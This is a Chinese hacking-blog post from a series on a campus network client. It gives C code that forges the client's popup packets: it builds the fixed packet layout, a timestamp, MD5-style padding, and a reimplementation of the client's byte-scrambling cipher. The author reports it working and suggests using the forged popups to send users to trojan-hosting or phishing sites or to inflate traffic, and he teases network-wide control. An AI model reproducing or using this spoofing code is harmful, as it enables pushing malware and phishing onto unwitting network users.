您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
校园网那些事(九)
 

Chapter 6——数据包生成器

有了上面的分析基础,我们算是对接收到的数据包的功能和结构了解的透彻了,那么,下面要做的自然是能够让客户端弹出我想弹出的网站和消息内容。

我这里主要用c实现的,很少敲代码,可能一些变成习惯和风格都不好,也希望大家给点建议和提醒,共同进步。

我们要做的第一步便是去构造整个数据包的框架:(用前面的一张图来说明)

1位是可选的:0406C8CA

2位是整个数据包长度,在构造好后数据包后填写

3——18是生成的16位校验码

19——25由于我只要实现弹出窗口,所以,这里用原来的数值

26——44:时间(控制位和长度放到19-25中了,因为它们的值是不会变动的)

45:消息控制位 0C

46:消息的长度n+2

47——(46+n):要显示的消息

47+n:网址控制位  0A

48+n:网址长度 m+2

49+n——48+n+m:网址内容

49+n+m——61+n+m:固定不变的信息(包含下一个网址的控制信息10

62+n+m:第二个网址长度 l+2

63+n+m——62+n+m+l:第二个网址内容

按照上面的规则,我们可以定义出一个大体的框架了,本想用结构体来定义的,可考虑到结构体需要考虑内存对齐,以及字符串‘\0’结尾不好处理。于是还是老老实实的用char型来拼接出我们想要的数据包吧(当然,那你可以有更好的办法,也希望你分享下~

于是:

先定义两个全局变量:

//the global var 

char msg_tim[19]; 

// 19位时间信息,格式为:2012-11-26 02:30:07 

char message[500]; 

// 所有字符 

然后,把前面的长度为定值的内容先制定好,内容变化的地方用0x00代替。 

char msg_0[52]={ 

         0X04,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 

         0X00,0X00,0X00,0X09,0X06,0X01,0X00,0X00,0X00,0X08,0X15,0X00,0X00,0X00,0X00, 

         0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00,0X00, 

         0X0A,0X03,0X31,0X0B,0X03,0X30,0X0C}; 

/*总共51位        1:总长度  2-17:校验码      26-44:时间 */ 

中间的49+n+m——61+n+m,也先定下来。

char msg_con2[13]={0X0E,0X06,0X20,0X03,0X00,0X00,0X0E,0X06,0XDC,0X05,0X00,0X00,0X10,}; 

后面就是处理3个输入的信息了。

定义三个临时变量来接受输入信息:

char tem1[200]={'0'}; 
char tem2[200]={'0'}; 
char tem3[200]={'0'}; 

然后,再用如下的检测输入方式来进行输入。消息内容、网址,都是这个操作。 

 while((tem1[i++] = getchar()) != '\n' && i < sizeof(tem1)); 

         tem1[i - 1] = '\0'; 

         msg_msg=tem1; 

         len1 = strlen(tem1)+2; 

         tem = (char)len1;   //tem 为 asc 

         message[52]=tem;        // 第52位   长度 

        

此后,将出了16位校验码和19位时间的数据连接起来。

//////////////////////////////////////连接 

         for (i=0;i<52;i++) 

         { 

                   message[i]=msg_0[i];//将控制位放入全局变量message中用于生成模板 

         } 

         for (i=0;i         //将用户输入的信息放入全局变量message中用于生成模 

         { 

                   message[53+i]=msg_msg[i]; 

         } 

         message[51+len1]=msg_con1[0];//将控制位放入全局变量message中用于生成模板 

         for (i=0;i 

         { 

                   message[53+len1+i]=msg_url1[i];//将用户输入的网址1放入全局变量message中用于生成模 

         } 

         for (i=0;i<13;i++) 

         { 

                   message[51+len1+len2+i]=msg_con2[i];//将控制位放入全局变量message中用于生成模板 

         } 

         for (i=0;i 

         { 

                   message[52+len1+len2+i+13]=msg_url2[i];//将用户输入的网址2放入全局变量message中用于生成模 

         } 

         len=len1+len2+len3+63;//得到总长度 

         tem = (char)len;   

         message[1]=tem;   //将总长度数据放入数据包中 

         return 0; 

} 

再之后,就是按格式生成时间了。

char* msg_time() 

{ 

       char temp[5]; 

       int tem; 

       time_t timep; 

       struct tm *p; 

       time(&timep); 

/*   address with the data    */ 

       p=localtime(&timep); /*取得当地时间*/ 

       //gain the year 

       tem=p->tm_year+1900; 

       sprintf(temp, "%d", tem); 

       strcat (temp,"-"); 

       strcpy (msg_tim,temp); 

       //cat with the month 

       tem=p->tm_mon+1; 

       sprintf(temp, "%d", tem); 

       strcat (temp,"-"); 

       strcpy ((msg_tim)+5,temp); 

       //cat with the day 

       tem=p->tm_mday; 

       sprintf(temp, "%d", tem); 

       strcpy ((msg_tim)+8,temp); 

       strcat (msg_tim," "); 

/*   address with the time    */ 

       tem=p->tm_hour; 

       sprintf(temp, "%02d", tem); 

       strcat (temp,":"); 

       strcpy ((msg_tim)+11,temp); 

       //hour 

       tem=p->tm_min; 

       sprintf(temp, "%02d", tem); 

       strcat (temp,":"); 

       strcpy ((msg_tim)+14,temp); 

       //min 

       tem=p->tm_sec; 

       sprintf(temp, "%02d", tem); 

       strcpy ((msg_tim)+17,temp); 

       printf("%s\n",msg_tim); 

       return 0; 

}  这样,我们还剩下16MD5的校验码没放上去了。到现在,可以生成了。 

前面章节也说过,我用的那套从网上down下来的MD5算法并没有生成与客户端一致的校验码,还导致我一直以为是变形加密来着。我也没怎么去研究那套源代码,而是,直接自己写了个填充函数,在进行它的算法之前,先把所有信息都填充好。如下:

先定义好填充数据包:

static unsigned char PADDING[64] = { 
  0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 
};


index = len % 64;             //获得余数 

       if (index<56)               

       { 

              for (i=0;i<56-index;i++) 

                     msg_in[len+i]=PADDING[i]; 

              len=len+i; 

              msg_in[len]=*(char *)&tem; 

              msg_in[len+1]=*(1+(char *)&tem); 

              for (i=0;i<6;i++) 

              { 

                     msg_in[len+2+i]=PADDING[2+i]; 

              } 

              len=len+2+i; 

       }//当余数小于56时,用10000补充,最后8字节用需加密数据包的长度进行填充 

       

       if (index>=56)//当余数大于等于56时,用10000填充满此64字节。而后,再开新建一个64字节数据,用0000填充,最后8字节填充上数据包长度 

       { 

              for (i=0;i<64-index;i++) 

              { 

                     msg_in[len+i]=PADDING[i]; 

              } 

              len=len+i; 

              for (i=0;i<56;i++) 

              { 

                     msg_in[len+i]=PADDING[2+i]; 

              } 

              len=len+i; 

              msg_in[len]=*(char *)&tem; 

              msg_in[len+1]=*(1+(char *)&tem); 

              for (i=0;i<6;i++) 

              { 

                     msg_in[len+2+i]=PADDING[2+i]; 

              } 

              len=len+2+i; 

       } 

这样的生成的数据包,就可以是我们程序能够正常处理的数据包了。

接下来,我们要测试下,也就是对程序发送,看能不能弹出我们想要弹出的对话框啊,网站之类的,于是,我们还要对数据包用程序自带的加密算法加密一次。如下:

unsigned char code (int lenth,unsigned char* pwd) 

{ 

       int i=0;               //定义两个变量 

       char tmp[2]={0};         //临时缓存存放点 

       unsigned char n;         //定义为无符号字符型 

       for (i=0;i 

       { 

       n=(((((((((pwd[i]>>2)&0X20)|(pwd[i]&0X40))>>2)|(pwd[i]&0X20))>>1)|(pwd[i]&2))>>1))|(((pwd[i]&0X1C)|(pwd[i]<<5))<<2);   //密码算法核心 

              sprintf(tmp,"%02X",n);        //将得到的结果转换为16进制 

              msg_in[i]=*(char *)&n; 

       } 

       return 0; 

} 

然后,我们试着对去掉时间校验的客户端发送一次,看看结果:

OK,搞定了。

既然能够弹出想要的消息框和内容,那,我们可以利用这个做什么呢?让他们打开挂马的网站?让他们打开钓鱼网站?还是刷刷自己空间或者博客的流量?这个就随你了~

其实,你还分析下,指不定这个程序还提供在线更新功能,直接从某个ip下载一个exe然后自动安装运行呢~直接相当于下载者了~具体的,也没有去继续分析了。有兴趣的自己再去研究吧。

于是,我们剩下的问题就是:如何实现全网控制?

且看下回分解。

 

——Tracy    2013-11-18   

发表评论(1)
1楼 zapline  发表于  2013-11-19 10:07:26
在看雪看你客户端跟我上大学时的一样 看一下你博客照片,果然也是涉外的...
[博主回复]  改天换掉~~~
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’